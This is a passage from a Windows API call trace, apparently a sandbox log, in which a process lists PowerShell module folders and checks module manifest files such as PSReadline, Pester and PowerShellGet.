ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.922] FindNextFileW (in: hFindFile=0x75c6dc8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1 [0084.922] FindNextFileW (in: hFindFile=0x75c6dc8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0084.922] FindNextFileW (in: hFindFile=0x75c6dc8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.922] FindClose (in: hFindFile=0x75c6dc8 | out: hFindFile=0x75c6dc8) returned 1 [0084.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0084.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.923] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0084.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0084.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0084.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x529d61c | out: lpFileInformation=0x529d61c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0084.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0084.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.926] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0084.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0084.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x529d874 | out: lpFileInformation=0x529d874*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0084.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psd1")) returned 0xffffffff [0084.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psm1")) returned 0xffffffff [0084.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.cdxml")) returned 0xffffffff [0084.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.xaml")) returned 0xffffffff [0084.929] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.ni.dll")) returned 0xffffffff [0084.929] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.dll")) returned 0xffffffff [0084.930] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0084.937] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0084.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0084.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0084.938] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6788 [0084.939] FindNextFileW (in: hFindFile=0x75c6788, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.939] FindNextFileW (in: hFindFile=0x75c6788, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0084.940] FindNextFileW (in: hFindFile=0x75c6788, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0084.940] FindNextFileW (in: hFindFile=0x75c6788, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0084.940] FindNextFileW (in: hFindFile=0x75c6788, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0084.940] FindNextFileW (in: hFindFile=0x75c6788, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.940] FindClose (in: hFindFile=0x75c6788 | out: hFindFile=0x75c6788) returned 1 [0084.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.941] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0084.942] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0084.942] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0084.942] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0084.942] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0084.942] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0084.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0084.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x5a [0084.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.942] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0084.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0084.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0084.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x38, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x37 [0084.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0084.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0084.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0084.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x5a [0084.945] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6d88 [0084.945] FindNextFileW (in: hFindFile=0x75c6d88, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.945] FindNextFileW (in: hFindFile=0x75c6d88, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0084.946] FindNextFileW (in: hFindFile=0x75c6d88, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.946] FindClose (in: hFindFile=0x75c6d88 | out: hFindFile=0x75c6d88) returned 1 [0084.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x90 [0084.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x90, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x8f [0084.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0084.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.948] GetFullPathNameW (in: lpFileName="C:\\Program Files 